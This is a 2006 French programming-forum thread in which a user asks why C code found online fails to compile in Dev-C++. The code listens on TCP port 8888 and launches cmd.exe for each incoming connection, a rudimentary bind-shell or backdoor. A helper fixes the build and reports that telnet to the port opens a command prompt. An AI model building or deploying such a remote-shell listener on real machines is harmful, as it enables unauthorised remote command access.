[compilation C ] error!

Résolu/Fermé
naruto-94 Messages postés 865 Date d'inscription mercredi 17 août 2005 Statut Membre Dernière intervention 20 décembre 2012 - 7 mars 2006 à 21:02
arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 - 7 mars 2006 à 22:30
Bonsoirs,

j'ai trouver un code source sur le net et c'est exactement celui qu'il me faut pour mon reseau.. Mais quand je le compile avec Dev-C++ il me met ces erreur :
-19 C:\Dev-Cpp\ouvrir port\main.c redefinition of 'main'
-5 C:\Dev-Cpp\ouvrir port\main.c previous definition of 'main' was here
-C:\Dev-Cpp\ouvrir port\main.c In function `main':
-19 C:\Dev-Cpp\ouvrir port\main.c number of arguments doesn't match prototype ...

Le code C est :


#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

void main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData); // Dîre qu'on ve utiliser des sockets

SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

PROCESS_INFORMATION pi;
STARTUPINFO si;

sock = socket(AF_INET, SOCK_STREAM, 0); // Création socket
sin.sin_addr.s_addr = INADDR_ANY; // Adresse IP
sin.sin_family = AF_INET; // Famille du socket
sin.sin_port = htons(8888); // N° de port
bind(sock, (SOCKADDR *)&sin, sizeof(sin));

listen(sock, 0); // boucle d'écoute
while(1)
{
int sinsize = sizeof(csin);

GetStartupInfo(&si); // creating startupinfo for child process

if((csock = accept(sock, (SOCKADDR *)&csin, &sinsize)) != INVALID_SOCKET)
{
CreateProcess(NULL, "cmd.exe", NULL, NULL,TRUE, CREATE_NEW_CONSOLE,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
}
}

Merci de vos reponses bonne nuit ;)

3 réponses

arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 1 291
7 mars 2006 à 21:54
Salut

euh déjà je sais pas si tu l'a fais mais pour les sockets il faut ajouter l'option "-lwsock32" dans les options du compilateur ( Outils -> Options du compilateur , et cocher "ajouter les commandes suivantes..." , puis coller l'option ci-dessus dans le cadre juste à droite ) .

sinon j'utilise aussi devc++ sous windows, et j'ai une seule erreur, celle que main doit retourner int , donc changer void main par int main. ensuite ca compile.

avec un test avec la comande "telnet localhost 8888", ca fonctionne parfaitement, ca ouvre l'invite de commande.

Sur ce bonne soirée.
0
naruto-94 Messages postés 865 Date d'inscription mercredi 17 août 2005 Statut Membre Dernière intervention 20 décembre 2012 188
7 mars 2006 à 22:23
Oh cool merci ;)

Je n'avais pas rajouter l'option pour le compilateur mais pour le int je l'avais changer merci beaucoup

++ 'nuit
0
arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 1 291
7 mars 2006 à 22:30
De rien et bonne nuit
0